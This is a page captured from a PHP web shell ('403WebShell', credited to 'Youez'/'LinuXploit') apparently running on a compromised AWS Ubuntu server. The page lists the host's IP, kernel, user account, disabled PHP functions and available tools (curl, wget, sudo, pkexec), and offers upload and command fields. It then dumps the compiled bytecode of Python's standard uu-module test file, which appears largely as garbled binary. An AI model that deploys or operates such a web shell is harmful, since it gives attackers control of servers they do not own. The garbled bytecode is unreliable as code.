Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_uu.cpython-310.pyc
o

�9j�#�@s�dZddlZddlmZddlZddlZddlZddlZddlZdZ	dZ
Gdd�dej�Zdd	d
�Z
Gdd�dej�ZGd
d�dej�ZGdd�dej�ZedkrWe��dSdS)z%
Tests for uu module.
Nick Mathewson
�N)�	os_helpers7The symbols on top of your keyboard are !@#$%^&*()_+|~
sOM5&AE('-Y;6)O;',@;VX@=&]P(&]F('EO=7(@:V5Y8F]A<F0@87)E("% (R0E
*7B8J*"E?*WQ^"@  cs.eZdZdZ		d
�fdd�	Zdd	�Z�ZS)�FakeIOz�Text I/O implementation using an in-memory buffer.

    Can be a used as a drop-in replacement for sys.stdin and sys.stdout.
    ��utf-8�strict�
csZtt|�jt��|||d�||_||_|r+t|t�st|�}|�	|�|�
d�dSdS)N)�encoding�errors�newliner)�superr�__init__�io�BytesIO�	_encoding�_errors�
isinstance�str�write�seek)�self�
initial_valuerr	r
��	__class__��#/usr/lib/python3.10/test/test_uu.pyrs�

�zFakeIO.__init__cCs|��|j���|j|j�S�N)�flush�buffer�getvalue�decoderr�rrrrr,szFakeIO.getvalue)rrrr)�__name__�
__module__�__qualname__�__doc__rr�
__classcell__rrrrrs�rFcCsH|rtd||fd�t�dd�d}|Std||fd�td}|S)Nzbegin %03o %s
�ascii� �`s
`
end
s
 
end
)�bytes�encodedtext�replace)�mode�filename�backtick�resrrr�encodedtextwrapped1s
�����r0c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�UUTestcCs�t�t�}t��}t�||d�|�|��tdd��t�t�}t��}t�||dd�|�|��tdd��t�t�}t��}tj||ddd�|�|��tddd��|�t	��t�||ddd�Wd�dS1sowYdS)N�t1��T�r.)
r
r�	plaintext�uu�encode�assertEqualrr0�assertRaises�	TypeError)r�inp�outrrr�test_encode<s


"�zUUTest.test_encodec	Cs�dD]<}t�tdd|d��}t��}t�||�|�|��t�t�dtdd|d��}t��}t�||�|�|��t�qdS)N)TFr3r2r5sMUUencoded files may contain many lines,
even some that have 'begin' in them.
)r
rr0r7rr9rr6)rr.r<r=rrr�test_decodeLs���zUUTest.test_decodec
Cslt�dt�}t��}zt�||�|�d�WdStjy5}z|�t|�d�WYd}~dSd}~ww)Ns
begin 644 t1
�No exception raisedzTruncated input file)	r
rr*r7r�fail�Errorr9r�rr<r=�errr�test_truncatedinput[s��zUUTest.test_truncatedinputc
Csht�d�}t��}zt�||�|�d�WdStjy3}z|�t|�d�WYd}~dSd}~ww)N�r@z'No valid begin line found in input file)r
rr7rrArBr9rrCrrr�test_missingbeginds
��zUUTest.test_missingbeginc		Cs�d}d}d}||fD]U}|�d��!t�|�}t��}tj||dd�|�|��|�Wd�n1s5wY|�d��ddl}|�|d�}|�||�Wd�n1sZwYq
dS)	Nsbegin 644 file
!,___
 
end
sbegin 644 file
!,___
`
end
�3zuu.decode()T)�quiet�uu_codecr)�subTestr
rr7rr9r�codecs)	r�encodedtext1�encodedtext2r6r*r<r=rL�decodedrrr�test_garbage_paddingms&��
����zUUTest.test_garbage_paddingcCs<t�t�}t��}d}d}t�|||�|�||���dS)Nztest.txt

overflow.txtstest.txt\n\roverflow.txt)r
rr6r7r8�assertInr)rr<r=r-�safefilenamerrr�test_newlines_escaped�s
zUUTest.test_newlines_escapedcCs.d}|�tjd��t�t�|��Wd�n1swYtjrI|�dd�}|�tjd��t�t�|��Wd�n1sDwYd}|�tjd��t�t�|��Wd�n1sewYtjr�|�dd�}|�tjd��t�t�|��Wd�dS1s�wYdSdS)Ns<begin 644 ../../../../../../../../tmp/test1
$86)C"@``
`
end
�	directory�/�\s%begin 644 /tmp/test2
$86)C"@``
`
end
)	�assertRaisesRegexr7rBrr
r�os�altsepr+)r�relative_bad�relative_bad_bs�absolute_bad�absolute_bad_bsrrr�test_no_directory_traversal�s&���"��z"UUTest.test_no_directory_traversalN)
r!r"r#r>r?rErGrPrSr^rrrrr1:s			r1c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�UUStdIOTestcCstj|_tj|_dSr)�sys�stdin�stdoutr rrr�setUp��zUUStdIOTest.setUpcCs|jt_|jt_dSr)rar`rbr rrr�tearDown�rdzUUStdIOTest.tearDowncCsJtt�d��t_t�t_t�dddd�|�tj�	�t
dd��d��dS)Nr&�-r2r3)rr6rr`rarbr7r8r9rr0r rrrr>�s�zUUStdIOTest.test_encodecCsZttdd��d��t_t�t_t�dd�tj}|jt_|jt_|�|��t	�d��dS)Nr3r2r&rf)
rr0rr`rarbr7r9rr6)rrbrrrr?�szUUStdIOTest.test_decodeN)r!r"r#rcrer>r?rrrrr_�s
r_c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�
UUFileTestcCs<tjd|_tjd|_|�tj|j�|�tj|j�dS)N�i�o)r�TESTFN_ASCII�tmpin�tmpout�
addCleanup�unlinkr rrrrc�szUUFileTest.setUpc	CsNt|jd��
}|�t�Wd�n1swYt|jd��(}t|jd��}tj|||jdd�Wd�n1s=wYWd�n1sLwYt|jd��}|��}Wd�n1sfwY|�|t	d|j��tj|j|j|jdd�t|jd��}|��}Wd�n1s�wY|�|t	d|j��dS)N�wb�rbr4)r,)
�openrkrr6rlr7r8�readr9r0)r�fin�fout�srrrr>�s$����
�
�zUUFileTest.test_encodecCs�t|jd��}|�td|j��Wd�n1swYt|jd��
}t�|�Wd�n1s5wYt|jd��}|��}Wd�n1sOwY|�|t	�dS�Nror4rp�
rqrkrr0rlr7rrrr9r6�r�frurrrr?�s��
�zUUFileTest.test_decodecCs�t|jd��}|�td|j��Wd�n1swYt�|j�t|jd��}|��}Wd�n1s:wY|�|t	�dSrvrwrxrrr�test_decode_filename�s�
�zUUFileTest.test_decode_filenamecCs�t|jd��}|�td|j��Wd�n1swYt|jd��
}t�|�Wd�n1s5wYt|jd��}|�tjtj|�Wd�dS1sUwYdSrv)	rqrkrr0rlr7rr:rB)rryrrr�test_decodetwice�s��"�zUUFileTest.test_decodetwicecCs�d}t|jd��}|�t||j��Wd�n1swY|�tj|j|tj	B�t|jd��
}t
�|�Wd�n1sCwY|�t�
t�|j�j�|�dS)Ni$rorp)rqrkrr0rlrmrX�chmod�stat�S_IWRITEr7rr9�S_IMODE�st_mode)r�
expected_moderyrrr�test_decode_modes���zUUFileTest.test_decode_modeN)	r!r"r#rcr>r?rzr{r�rrrrrg�s

rg�__main__)F)r$�unittest�test.supportrrXr}r`r7r
r6r*�
TextIOWrapperrr0�TestCaser1r_rgr!�mainrrrr�<module>s$
	vM�

Youez - 2016 - github.com/yon3zu
LinuXploit